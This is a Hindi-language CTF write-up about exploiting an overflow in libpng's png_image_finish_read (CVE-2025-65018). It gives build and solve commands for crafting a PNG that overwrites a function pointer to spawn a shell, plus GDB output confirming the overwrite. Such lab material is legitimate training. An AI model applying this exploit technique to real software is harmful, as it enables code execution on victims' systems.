
libpng के png_image_finish_read में हीप ओवरफ्लो का शोषण करने वाली CTF चुनौती, फ़ंक्शन पॉइंटर को अधिलेखित करने और शेल उत्पन्न करने के लिए, बिल्ड स्क्रिप्ट और शोषण जनरेटर के साथ।
यह चुनौती libpng में एक वास्तविक दुनिया के बफर ओवरफ्लो भेद्यता पर आधारित है (विशेष रूप से सरलीकृत API png_image_finish_read से संबंधित जब 16-बिट इंटरलेस्ड छवियों को संभालते हैं)।
आपको एक भेद्य बाइनरी victim प्रदान की गई है जो libpng के स्टैटिकली लिंक किए गए भेद्य संस्करण का उपयोग करती है। एप्लिकेशन exploit.png नामक एक PNG फ़ाइल को बफर में पढ़ता है।
आपका उद्देश्य एक दुर्भावनापूर्ण PNG फ़ाइल तैयार करना है जो हीप ओवरफ्लो को ट्रिगर करके Logger संरचना में एक फंक्शन पॉइंटर को ओवरराइट करता है (जो छवि बफर के ठीक बाद स्थित है), निष्पादन को win() फ़ंक्शन पर पुनर्निर्देशित करके शेल स्पॉन करता है।
पूर्वापेक्षाएँ: gcc, make, python3, git, autoconf, automake, libtool।
रिपॉजिटरी क्लोन करें:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
चुनौती का निर्माण करें (भेद्य libpng सहित):
./build.sh
यह स्क्रिप्ट निम्नलिखित करेगी:
libpng स्रोत कोड को कॉन्फ़िगर और पैच करें ताकि भेद्यता सक्षम हो सके।libpng लाइब्रेरी बनाएं।victim बाइनरी को कंपाइल करें।भेद्यता इस बात में मौजूद है कि libpng इंटरलेस्ड छवियों को 16-बिट इनपुट से 8-बिट आउटपुट में बदलते समय कैसे संभालता है।
PNG_FORMAT_RGBA) का अनुरोध करता है। libpng 8-बिट डेटा के लिए पर्याप्त बफर आकार आवंटित करता है।png_combine_row गलत तरीके से इनपुट की 16-बिट बिट गहराई का उपयोग करके आउटपुट बफर में डेटा लिखता है।बाइनरी में एक सहायक फ़ंक्शन win() है जो execl("/bin/sh", ...) को कॉल करता है। हमें इसका पता चाहिए। चूंकि बाइनरी -no-pie के साथ संकलित है, पते स्थिर हैं।
nm victim | grep win
# Output: 00000000004013e0 T win
लक्ष्य पता: 0x4013e0
solve.py)हमें एक मान्य PNG बनाना होगा जो:
IHDR) हो जो 16-बिट गहराई निर्दिष्ट करता हो।win का पता) बनाता हो।solve.py स्क्रिप्ट यह करती है:
Logger संरचना के ऑफसेट की गणना करती है (जो बफर की शुरुआत के बाद 4096 बाइट्स है)।win पते को अंतिम पंक्ति के पिक्सेल डेटा में रखती है।IDAT चंक में संपीड़ित करती है।पेलोड लेआउट:
win पता 0x4013e0 (लिटिल एंडियन: E0 13 40 00 ...) को 16-बिट RGB पिक्सेल में एनकोड करने की आवश्यकता है।
दुर्भावनापूर्ण PNG उत्पन्न करें:
python3 solve.py 4013e0
यह exploit.png बनाता है।
victim चलाएँ:
./victim
अपेक्षित आउटपुट:
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$
ओवरफ्लो को क्रियाशील देखने के लिए, आप GDB का उपयोग कर सकते हैं।
1. भेद्य कॉल से पहले ब्रेक करें:
break 62
run
2. ओवरराइट पर नज़र रखें:
Logger संरचना ऑफसेट 4096 पर है। चलिए लक्ष्य फंक्शन पॉइंटर पर नज़र रखते हैं।
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. ट्रिगर करें:
GDB तब रुकेगा जब png_combine_row फंक्शन पॉइंटर पर लिखता है।
Hardware watchpoint 2: *0x7fffffffc8f0
Old value = 4199366 (0x4013c6 <normal_log>)
New value = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()
यह पुष्टि करता है कि libpng ने हमारे पॉइंटर को win के पते से ओवरराइट कर दिया!
victim.c: भेद्य स्रोत कोड।solve.py: शोषण जनरेटर।libpng-src/: libpng का स्रोत कोड (v1.6.37)।build.sh: सब कुछ संकलित करने की स्क्रिप्ट।Makefile: victim बाइनरी के लिए निर्माण प्रणाली।